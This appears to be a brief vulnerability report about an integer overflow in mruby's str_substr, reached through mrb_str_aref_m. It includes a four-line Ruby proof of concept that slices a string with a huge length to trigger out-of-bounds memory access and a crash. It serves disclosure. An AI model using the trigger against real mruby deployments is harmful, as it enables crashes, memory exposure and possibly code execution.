Interger overflow in str_substr leading to read/write out of bound memory

Failed check len & beg in str_substr when call mrb_str_aref_m by String. This can lead to read/write into invalid memory which may be memory corruption or RCE. this snippet causes a crash in mruby(i can't check mruby-engine by error undefined symbol >rb_utf8_str_new ):

$b="B"*2048
$expand=$b[0x40,0x7fffffff]
puts $expand.size()
puts $expand